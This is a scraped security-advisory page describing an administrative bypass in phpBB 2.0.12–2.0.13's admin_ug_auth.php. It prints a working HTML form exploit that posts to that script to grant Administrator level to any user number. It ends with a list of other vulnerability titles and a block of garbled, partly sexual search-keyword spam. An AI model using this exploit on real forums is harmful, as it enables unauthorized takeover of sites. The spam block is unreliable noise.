exploits , vulnerabilities , articles , PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability

Title	PHPBB2 Admin_Ug_Auth.PHP Administrative Security Bypass Vulnerability
Published	2007-02-26-12:00AM
Updated	2007-02-26-11:06PM
Class	Access Validation Error
CVE
Remote	Yes
Local	No
Credit	Hasadya Raed is credited with discovering this issue.
Vulnerable	phpBB2 phpBB2 Plus 2.0.13 phpBB Group phpBB 2.0.13 phpBB Group phpBB 2.0.12
Not Vulnerable
Code	Attackers can exploit this issue via a browser. The following exploit POST request is available: <html> <head> </head> <body> <form method="post" action="www.example.com/board_directory/admin/admin_ug_auth.php"> User Level: <select name="userlevel"> <option value="admin">Administrator</option> <option value="user">User</option></select> <input type="hidden" name="private[1]" value="0"> <input type="hidden" name="moderator[1]" value="0"> <input type="hidden" name="mode" value="user"> <input type="hidden" name="adv" value=""> User Number: <input type="text" name="u" size="5"> <input type="submit" name="submit" value="Submit"> </form> </body> </html>
TXT

Vulnerabilities - newest 10 RSS | More

2009-12-17 Mozilla Firefox and SeaMonkey Theora Video Library Remote Integer Overflow Vulnerability
2009-12-17 Mozilla Firefox and Sea Monkey Insecure Protocol Location Bar Spoofing Vulnerability
2009-12-17 Mozilla Firefox and Sea Monkey Content Injection Spoofing Vulnerability
2009-12-17 Mozilla Firefox/SeaMonkey GeckoActiveXObject Exception Message COM Object Enumeration Vulnerability
2009-12-16 ZABBIX Denial Of Service and SQL Injection Vulnerabilities
2009-12-16 IBM WebSphere Application Server JNDI Remote Information Disclosure Vulnerability
2009-12-16 Horde Application Framework Administration Interface Cross-Site Scripting Vulnerability
2009-12-16 Mozilla Firefox and SeaMonkey MFSA 2009-65 through -71 Multiple Vulnerabilities
2009-12-16 Merkaartor Insecure Temporary File Creation Vulnerability
2009-12-15 TYPO3 Watchdog (aba_watchdog) Unspecified Information Disclosure Vulnerability

SECURITY RSS FEEDS

Advertising

Copyright 2007, SecurityDot
Thu, 17 Dec 2009 05:52:27 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
SRIYA www.huazhe 594high.cn vivvo/inde www.mqdm.n 200 /compo www.worlds Eva Mandas rani nude www.njzkkj nude priya www.hdaz.c apace windows xp w.w.w.sex www.naruto /search/ex Tigowap Bathroom s php-nuke+2 o my goody hot ero se asus.com welcome.ph gambarros com_flyspr CMS is Fre ww.gofad.c al4a www.promo- Russiansix fame INDIAN SEX Www.sex vi news for c Security+d Www.africa Sex23com naruto,xxx sexy photo bookmark4u Desde cuan www.golf88 sexfelm abgtelanja www.doudou Exim smtpd sex wap4 Sexyianer anhlavodic